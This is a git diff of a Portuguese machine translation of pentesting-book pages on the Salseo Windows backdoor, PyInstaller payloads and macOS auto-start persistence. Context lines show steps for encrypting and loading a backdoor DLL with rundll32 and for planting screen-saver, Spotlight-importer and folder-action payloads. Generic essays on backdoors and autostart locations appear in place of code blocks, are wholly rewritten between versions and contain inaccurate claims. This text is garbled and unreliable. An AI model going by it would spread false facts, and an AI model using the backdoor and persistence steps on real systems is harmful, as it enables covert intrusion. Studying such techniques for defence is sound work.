Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 152 KiB |
|
@ -40,7 +40,7 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
|
|||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** é a plataforma de ethical hacking e **bug bounty número 1 da Europa.**
|
||||
|
||||
|
@ -53,7 +53,7 @@ Dica de bug bounty: **inscreva-se** no **Intigriti**, uma plataforma premium de
|
|||
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as **ferramentas comunitárias mais avançadas** do mundo.
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.
|
||||
|
||||
Acesse hoje mesmo:
|
||||
|
||||
|
@ -125,7 +125,7 @@ Os autores e editores não serão responsáveis, em nenhuma circunstância, por
|
|||
|
||||
Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não apoiam ou apoiam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é de responsabilidade e critério do usuário.
|
||||
|
||||
O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar qualquer uma das técnicas ou dicas descritas aqui.
|
||||
O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar qualquer uma das técnicas ou dicas aqui descritas.
|
||||
|
||||
Ao usar este livro, o usuário concorda em liberar os autores e editores de qualquer responsabilidade por quaisquer danos, perdas ou danos que possam resultar do uso deste livro ou de qualquer uma das informações contidas nele.
|
||||
{% endhint %}
|
||||
|
|
|
@ -169,8 +169,9 @@
|
|||
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
|
||||
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check.md)
|
||||
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md)
|
||||
* [macOS XPC Connecting Process Check](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md)
|
||||
* [macOS xpc\_connection\_get\_audit\_token Attack](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc\_connection\_get\_audit\_token-attack.md)
|
||||
* [macOS PID Reuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md)
|
||||
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
|
|
|
@ -39,7 +39,7 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
```
|
||||
# Backdoors em Windows
|
||||
|
||||
Um backdoor é uma forma de acesso não autorizado a um sistema ou rede, que permite ao invasor contornar as medidas de segurança e obter controle remoto sobre o sistema comprometido. Existem várias técnicas para criar backdoors em sistemas Windows, algumas das quais são discutidas abaixo.
|
||||
Um backdoor é uma forma de acesso não autorizado a um sistema ou rede, que permite ao invasor contornar as medidas de segurança e obter controle remoto sobre o sistema comprometido. Existem várias técnicas para criar backdoors em sistemas Windows, algumas das quais são descritas abaixo.
|
||||
|
||||
## 1. Porta dos fundos do Registro do Windows
|
||||
|
||||
|
@ -50,23 +50,27 @@ Uma maneira comum de criar um backdoor em um sistema Windows é adicionar uma en
|
|||
|
||||
## 2. Backdoors baseados em serviços
|
||||
|
||||
Outra técnica comum é criar um backdoor como um serviço do Windows. Isso envolve a criação de um serviço que é executado em segundo plano e pode ser configurado para iniciar automaticamente quando o sistema é inicializado. O serviço pode ser configurado para executar um programa malicioso ou fornecer um shell remoto para o invasor.
|
||||
Outra técnica comum é criar um backdoor como um serviço do Windows. Isso envolve a criação de um serviço que é executado em segundo plano e pode ser configurado para iniciar automaticamente quando o sistema é inicializado. O serviço pode ser configurado para executar um programa malicioso ou fornecer acesso remoto ao invasor.
|
||||
|
||||
## 3. Backdoors baseados em arquivos DLL
|
||||
|
||||
Os arquivos DLL (Dynamic Link Library) são componentes do sistema operacional Windows que contêm código e dados compartilhados por vários programas. Um backdoor pode ser criado substituindo uma DLL legítima por uma versão modificada que executa código malicioso. Quando um programa legítimo é executado e carrega a DLL modificada, o código malicioso é executado em segundo plano.
|
||||
Os arquivos DLL (Dynamic Link Library) são componentes do sistema operacional Windows que contêm código e dados que podem ser usados por vários programas. Um backdoor pode ser criado substituindo uma DLL existente por uma versão modificada que inclui código malicioso. Quando um programa legítimo é executado e chama a função contida na DLL, o código malicioso também é executado.
|
||||
|
||||
## 4. Backdoors baseados em drivers
|
||||
## 4. Backdoors baseados em arquivos executáveis
|
||||
|
||||
Os drivers são programas que permitem que o sistema operacional Windows se comunique com dispositivos de hardware. Um backdoor pode ser criado substituindo um driver legítimo por uma versão modificada que executa código malicioso. Quando o driver é carregado pelo sistema operacional, o código malicioso é executado em segundo plano.
|
||||
Outra técnica é modificar um arquivo executável existente para incluir código malicioso. Isso pode ser feito usando ferramentas de edição de binários para inserir o código malicioso no arquivo executável. Quando o arquivo é executado, o código malicioso também é executado.
|
||||
|
||||
## 5. Backdoors baseados em aplicativos legítimos
|
||||
## 5. Backdoors baseados em scripts
|
||||
|
||||
Uma técnica menos comum é modificar um aplicativo legítimo para incluir um backdoor. Isso pode ser feito modificando o código do aplicativo ou injetando código malicioso em tempo de execução. Quando o aplicativo é executado, o backdoor é ativado e permite ao invasor obter acesso não autorizado ao sistema.
|
||||
Os scripts, como arquivos batch (.bat) ou scripts PowerShell (.ps1), também podem ser usados para criar backdoors em sistemas Windows. Esses scripts podem ser configurados para executar comandos maliciosos ou fornecer acesso remoto ao invasor.
|
||||
|
||||
## 6. Backdoors baseados em trojans
|
||||
|
||||
Os trojans são programas maliciosos que se disfarçam como programas legítimos para enganar os usuários. Um backdoor pode ser criado incorporando um trojan em um arquivo ou programa aparentemente inofensivo. Quando o arquivo ou programa é executado, o trojan é ativado e permite o acesso remoto ao invasor.
|
||||
|
||||
## Conclusão
|
||||
|
||||
Essas são apenas algumas das técnicas comuns usadas para criar backdoors em sistemas Windows. É importante estar ciente dessas técnicas para poder proteger seu sistema contra ataques de hackers.
|
||||
Essas são apenas algumas das técnicas comuns usadas para criar backdoors em sistemas Windows. É importante estar ciente dessas técnicas para poder proteger efetivamente seus sistemas contra ataques de hackers.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
|
@ -122,7 +126,7 @@ Abra o projeto SalseoLoader usando o Visual Studio.
|
|||
|
||||
### Adicione antes da função principal: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Instale o DllExport para este projeto
|
||||
|
||||
|
@ -216,7 +220,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
@ -194,7 +194,7 @@ Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
|||
### Para criar um payload usando o PyInstaller:
|
||||
|
||||
1. Instale o PyInstaller usando o pip (pip install pyinstaller).
|
||||
2. Em seguida, digite o comando "pyinstaller --onefile hello.py" (lembre-se de que 'hello.py' é o nosso payload). Isso irá agrupar tudo em um único executável.
|
||||
2. Em seguida, digite o comando "pyinstaller --onefile hello.py" (lembrando que 'hello.py' é o nosso payload). Isso irá agrupar tudo em um único executável.
|
||||
```
|
||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||
108 INFO: PyInstaller: 3.3.1
|
||||
|
@ -211,7 +211,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
|
||||
|
||||
|
|
|
@ -260,8 +260,8 @@ Se o terminal tiver **Acesso Total ao Disco**, ele poderá concluir essa ação
|
|||
|
||||
### Plugins de Áudio
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
||||
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
|
||||
Artigo: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
||||
Artigo: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
|
||||
|
||||
#### Localização
|
||||
|
||||
|
@ -279,11 +279,11 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
|
|||
|
||||
#### Descrição
|
||||
|
||||
De acordo com os writeups anteriores, é possível **compilar alguns plugins de áudio** e carregá-los.
|
||||
De acordo com os artigos anteriores, é possível **compilar alguns plugins de áudio** e carregá-los.
|
||||
|
||||
### Plugins QuickLook
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
||||
Artigo: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
||||
|
||||
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
|
||||
|
@ -307,7 +307,7 @@ Os plugins QuickLook podem ser executados quando você **aciona a visualização
|
|||
Isso não funcionou para mim, nem com o LoginHook do usuário nem com o LogoutHook do root.
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
**Artigo**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
||||
Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
|
||||
|
@ -419,7 +419,7 @@ As preferências do iTerm2 localizadas em **`~/Library/Preferences/com.googlecod
|
|||
|
||||
Essa configuração pode ser feita nas configurações do iTerm2:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
E o comando é refletido nas preferências:
|
||||
```bash
|
||||
|
@ -718,7 +718,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
```
|
||||
Em seguida, abra o aplicativo `Folder Actions Setup`, selecione a **pasta que você deseja monitorar** e selecione no seu caso **`folder.scpt`** (no meu caso, eu o chamei de output2.scp):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
Agora, se você abrir essa pasta com o **Finder**, seu script será executado.
|
||||
|
||||
|
@ -912,13 +912,13 @@ Descrição: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https
|
|||
* `~/Library/Screen Savers`
|
||||
* **Gatilho**: Selecionar o protetor de tela
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### Descrição e Exploração
|
||||
|
||||
Crie um novo projeto no Xcode e selecione o modelo para gerar um novo **Protetor de Tela**. Em seguida, adicione o código a ele, por exemplo, o seguinte código para gerar logs.
|
||||
|
||||
**Compile** e copie o pacote `.saver` para **`~/Library/Screen Savers`**. Em seguida, abra a interface gráfica do Protetor de Tela e, ao clicar nele, ele deve gerar muitos logs:
|
||||
**Compile** e copie o pacote `.saver` para **`~/Library/Screen Savers`**. Em seguida, abra a GUI do Protetor de Tela e, ao clicar nele, ele deve gerar muitos logs:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -932,7 +932,7 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que, devido às permissões do binário que carrega este código (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), você estará **dentro do sandbox comum do aplicativo**.
|
||||
Observe que, devido às permissões do binário que carrega este código (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`), você estará **dentro do sandbox de aplicativos comuns**.
|
||||
{% endhint %}
|
||||
|
||||
Código do protetor de tela:
|
||||
|
@ -1026,7 +1026,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
O Spotlight é o recurso de pesquisa integrado do macOS, projetado para fornecer aos usuários acesso rápido e abrangente aos dados em seus computadores.\
|
||||
Para facilitar essa capacidade de pesquisa rápida, o Spotlight mantém um **banco de dados proprietário** e cria um índice **analisando a maioria dos arquivos**, permitindo pesquisas rápidas tanto por nomes de arquivos quanto por seu conteúdo.
|
||||
|
||||
O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa **'metadata server'**. Esse processo orquestra todo o serviço do Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexar diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possíveis por meio de plugins importadores do Spotlight, ou **".mdimporter bundles**", que permitem que o Spotlight entenda e indexe conteúdo em uma variedade diversificada de formatos de arquivo.
|
||||
O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa **'metadata server'**. Esse processo orquestra todo o serviço do Spotlight. Complementando isso, existem vários daemons 'mdworker' que executam uma variedade de tarefas de manutenção, como indexar diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possíveis por meio de plugins importadores do Spotlight, ou **".mdimporter bundles**", que permitem que o Spotlight entenda e indexe conteúdo em uma variedade diversificada de formatos de arquivo.
|
||||
|
||||
Os plugins ou pacotes **`.mdimporter`** estão localizados nos locais mencionados anteriormente e, se um novo pacote aparecer, ele é carregado em minutos (não é necessário reiniciar nenhum serviço). Esses pacotes precisam indicar quais **tipos de arquivo e extensões eles podem gerenciar**, dessa forma, o Spotlight os usará quando um novo arquivo com a extensão indicada for criado.
|
||||
|
||||
|
@ -1081,7 +1081,7 @@ Se você verificar o Plist de outros `mdimporter`, pode ser que não encontre a
|
|||
Além disso, os plugins padrão do sistema sempre têm precedência, portanto, um invasor só pode acessar arquivos que não são indexados pelos próprios `mdimporters` da Apple.
|
||||
{% endhint %}
|
||||
|
||||
Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e, em seguida, alterar o nome, os **`CFBundleDocumentTypes`** e adicionar **`UTImportedTypeDeclarations`** para que ele suporte a extensão que você deseja e refleti-los em **`schema.xml`**.\
|
||||
Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e, em seguida, alterar o nome, os **`CFBundleDocumentTypes`** e adicionar **`UTImportedTypeDeclarations`** para que ele suporte a extensão que você deseja e reflita isso em **`schema.xml`**.\
|
||||
Em seguida, **altere** o código da função **`GetMetadataForFile`** para executar sua carga útil quando um arquivo com a extensão processada for criado.
|
||||
|
||||
Finalmente, **construa e copie seu novo `.mdimporter`** para um dos locais anteriores e você pode verificar sempre que ele for carregado **monitorando os logs** ou verificando **`mdimport -L.`**
|
||||
|
@ -1207,7 +1207,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
|
||||
#### Descrição e Exploração
|
||||
|
||||
Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para obter mais informações sobre como criar um desses plugins, consulte os writeups anteriores (e tenha cuidado, um plugin mal escrito pode bloquear você e você precisará limpar seu Mac no modo de recuperação).
|
||||
Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para obter mais informações sobre como criar um desses plugins, verifique os writeups anteriores (e tenha cuidado, um plugin mal escrito pode bloquear você e você precisará limpar seu Mac no modo de recuperação).
|
||||
|
||||
### Man.conf
|
||||
|
||||
|
@ -1332,37 +1332,57 @@ Após colocar um novo diretório em uma dessas duas localizações, **mais dois
|
|||
|
||||
# Localizações de Inicialização Automática do macOS
|
||||
|
||||
O macOS possui várias localizações onde os aplicativos podem ser configurados para iniciar automaticamente quando o sistema é inicializado. Essas localizações são usadas por aplicativos legítimos para fornecer funcionalidades adicionais ou para iniciar serviços em segundo plano.
|
||||
O macOS possui várias localizações onde os aplicativos podem ser configurados para iniciar automaticamente quando o sistema é inicializado. Essas localizações são usadas por aplicativos legítimos para fornecer funcionalidades adicionais ou para facilitar o acesso rápido aos aplicativos.
|
||||
|
||||
No entanto, essas localizações também podem ser exploradas por atacantes para iniciar aplicativos maliciosos ou scripts de inicialização que podem comprometer a segurança do sistema.
|
||||
No entanto, essas mesmas localizações também podem ser exploradas por atacantes para iniciar aplicativos maliciosos ou persistir em um sistema comprometido. Portanto, é importante estar ciente dessas localizações e monitorá-las regularmente para garantir que apenas aplicativos confiáveis estejam sendo iniciados automaticamente.
|
||||
|
||||
Aqui estão algumas das principais localizações de inicialização automática do macOS:
|
||||
|
||||
## 1. LaunchAgents
|
||||
|
||||
Os LaunchAgents são arquivos de propriedade do usuário que são executados quando um usuário faz login. Eles são armazenados no diretório `~/Library/LaunchAgents` e têm a extensão `.plist`. Esses arquivos podem ser usados para iniciar aplicativos ou scripts de inicialização quando um usuário faz login.
|
||||
Os LaunchAgents são arquivos de propriedade do usuário que são executados quando um usuário faz login. Eles são armazenados no diretório `~/Library/LaunchAgents` e são específicos para cada usuário. Os LaunchAgents são usados principalmente para iniciar aplicativos ou scripts relacionados a um usuário específico.
|
||||
|
||||
## 2. LaunchDaemons
|
||||
|
||||
Os LaunchDaemons são arquivos de propriedade do sistema que são executados quando o sistema é inicializado. Eles são armazenados no diretório `/Library/LaunchDaemons` e têm a extensão `.plist`. Esses arquivos são usados para iniciar serviços em segundo plano que são executados independentemente de qualquer usuário fazer login.
|
||||
Os LaunchDaemons são arquivos de propriedade do sistema que são executados quando o sistema é inicializado. Eles são armazenados no diretório `/Library/LaunchDaemons` e são compartilhados por todos os usuários do sistema. Os LaunchDaemons são usados principalmente para iniciar serviços ou processos que não estão relacionados a um usuário específico.
|
||||
|
||||
## 3. Login Items
|
||||
## 3. StartupItems
|
||||
|
||||
Os Login Items são aplicativos ou scripts que são configurados para iniciar automaticamente quando um usuário faz login. Eles são gerenciados nas preferências do sistema, na seção "Usuários e Grupos". Os Login Items podem ser usados para iniciar aplicativos ou scripts específicos para um usuário quando ele faz login.
|
||||
Os StartupItems são uma forma mais antiga de inicialização automática e são compatíveis com versões mais antigas do macOS. Eles são armazenados no diretório `/Library/StartupItems` e são executados quando o sistema é inicializado. No entanto, a partir do macOS 10.5, o suporte a StartupItems foi descontinuado e substituído pelos LaunchDaemons e LaunchAgents.
|
||||
|
||||
## 4. Startup Items
|
||||
## 4. Login Items
|
||||
|
||||
Os Startup Items são aplicativos ou scripts que são configurados para iniciar automaticamente quando o sistema é inicializado. Eles são armazenados no diretório `/Library/StartupItems` e são executados antes que qualquer usuário faça login. No entanto, essa localização não é mais suportada nas versões mais recentes do macOS.
|
||||
Os Login Items são aplicativos ou itens de inicialização que são executados quando um usuário faz login. Eles são configurados nas preferências do sistema e são específicos para cada usuário. Os Login Items são usados principalmente para iniciar aplicativos ou scripts relacionados a um usuário específico.
|
||||
|
||||
## 5. Cron Jobs
|
||||
|
||||
Os Cron Jobs são tarefas agendadas que são executadas em intervalos regulares. Eles são configurados usando o utilitário `cron` e podem ser usados para iniciar aplicativos ou scripts em horários específicos. Os Cron Jobs são armazenados no arquivo `/etc/crontab` e nos arquivos no diretório `/usr/lib/cron/tabs`.
|
||||
Os Cron Jobs são tarefas agendadas que são executadas em intervalos regulares. Eles são configurados usando o utilitário `cron` e são específicos para cada usuário. Os Cron Jobs podem ser usados para iniciar aplicativos ou scripts em momentos específicos.
|
||||
|
||||
## 6. LaunchAgents e LaunchDaemons de Terceiros
|
||||
## 6. LaunchAgents Globais
|
||||
|
||||
Além das localizações mencionadas acima, os aplicativos de terceiros também podem instalar seus próprios LaunchAgents e LaunchDaemons. Esses arquivos podem ser armazenados em diferentes diretórios, dependendo do aplicativo.
|
||||
Os LaunchAgents Globais são arquivos de propriedade do sistema que são executados quando um usuário faz login. Eles são armazenados no diretório `/Library/LaunchAgents` e são compartilhados por todos os usuários do sistema. Os LaunchAgents Globais são usados principalmente para iniciar aplicativos ou scripts relacionados a todos os usuários do sistema.
|
||||
|
||||
É importante revisar regularmente essas localizações de inicialização automática e remover qualquer aplicativo ou script indesejado ou desconhecido. Isso ajudará a garantir a segurança do sistema e evitar que aplicativos maliciosos sejam executados automaticamente.
|
||||
## 7. LaunchDaemons Globais
|
||||
|
||||
Os LaunchDaemons Globais são arquivos de propriedade do sistema que são executados quando o sistema é inicializado. Eles são armazenados no diretório `/Library/LaunchDaemons` e são compartilhados por todos os usuários do sistema. Os LaunchDaemons Globais são usados principalmente para iniciar serviços ou processos que não estão relacionados a um usuário específico.
|
||||
|
||||
## 8. XPC Services
|
||||
|
||||
As XPC Services são serviços que podem ser iniciados por outros aplicativos. Elas são armazenadas no diretório `~/Library/Services` e são específicas para cada usuário. As XPC Services são usadas principalmente para fornecer funcionalidades adicionais a outros aplicativos.
|
||||
|
||||
## 9. Login Hooks
|
||||
|
||||
Os Login Hooks são scripts que são executados quando um usuário faz login. Eles são armazenados no diretório `/etc` e são compartilhados por todos os usuários do sistema. Os Login Hooks são usados principalmente para executar ações personalizadas durante o processo de login.
|
||||
|
||||
## 10. Kernel Extensions
|
||||
|
||||
As Kernel Extensions são módulos de código que podem ser carregados no kernel do macOS. Elas são armazenadas no diretório `/System/Library/Extensions` e são compartilhadas por todos os usuários do sistema. As Kernel Extensions são usadas principalmente para fornecer funcionalidades de baixo nível ao sistema operacional.
|
||||
|
||||
É importante observar que nem todas as localizações de inicialização automática são visíveis por padrão. Alguns diretórios podem estar ocultos ou protegidos por permissões de arquivo. Portanto, é necessário ter privilégios de administrador para acessar e modificar essas localizações.
|
||||
|
||||
Além disso, é recomendável verificar regularmente as localizações de inicialização automática em busca de aplicativos desconhecidos ou suspeitos. Isso pode ser feito usando ferramentas de segurança ou examinando manualmente os diretórios relevantes.
|
||||
|
||||
Ao monitorar e proteger as localizações de inicialização automática do macOS, você pode reduzir o risco de aplicativos maliciosos serem iniciados automaticamente e garantir a integridade do seu sistema.
|
||||
|
||||
{% endtab %}
|
||||
```bash
|
||||
|
@ -1389,14 +1409,14 @@ RunService "$1"
|
|||
### emond
|
||||
|
||||
{% hint style="danger" %}
|
||||
Não consigo encontrar esse componente no meu macOS, então para mais informações, verifique o artigo
|
||||
Não consigo encontrar esse componente no meu macOS, então para mais informações, verifique o writeup
|
||||
{% endhint %}
|
||||
|
||||
